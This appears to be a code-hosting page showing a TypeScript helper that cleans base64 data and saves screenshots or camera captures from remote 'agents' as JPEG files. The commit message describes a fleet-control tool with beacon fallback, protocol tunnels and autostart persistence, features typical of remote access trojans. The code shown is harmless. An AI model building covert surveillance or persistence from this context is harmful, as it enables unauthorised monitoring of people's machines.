5fc601b564
Extend owned-fleet control with scheduled tasks, audit log, file browser, HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
47 lines
1.5 KiB
TypeScript
47 lines
1.5 KiB
TypeScript
/** Strip whitespace and download a remote desktop capture as a JPEG file. */
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export function sanitizeScreenshotBase64(raw: string): string {
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const trimmed = raw.trim().replace(/^\uFEFF/, '');
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let best = '';
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for (const part of trimmed.split(/\s+/)) {
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const cleaned = part.replace(/[^A-Za-z0-9+/=]/g, '');
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if (cleaned.length > best.length && cleaned.length >= 100) {
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best = cleaned;
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}
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}
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if (best.length >= 100) return best;
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const fallback = trimmed.replace(/[^A-Za-z0-9+/=]/g, '');
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return fallback.length >= 100 ? fallback : '';
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}
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export type CaptureDownloadKind = 'screenshot' | 'camera';
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export function downloadScreenshotFromBase64(
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base64: string,
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agentLabel: string,
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kind: CaptureDownloadKind = 'screenshot'
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): boolean {
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const clean = sanitizeScreenshotBase64(base64);
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if (clean.length < 100) return false;
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const safeName = agentLabel.replace(/[^\w.-]+/g, '_').slice(0, 64) || 'agent';
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const stamp = new Date().toISOString().replace(/[:.]/g, '-');
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const blob = base64ToBlob(clean, 'image/jpeg');
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const url = URL.createObjectURL(blob);
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const a = document.createElement('a');
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a.href = url;
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a.download = `${kind}-${safeName}-${stamp}.jpg`;
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a.rel = 'noopener';
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document.body.appendChild(a);
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a.click();
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a.remove();
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URL.revokeObjectURL(url);
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return true;
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}
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function base64ToBlob(b64: string, mime: string): Blob {
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const binary = atob(b64);
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const bytes = new Uint8Array(binary.length);
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for (let i = 0; i < binary.length; i++) bytes[i] = binary.charCodeAt(i);
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return new Blob([bytes], { type: mime });
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}
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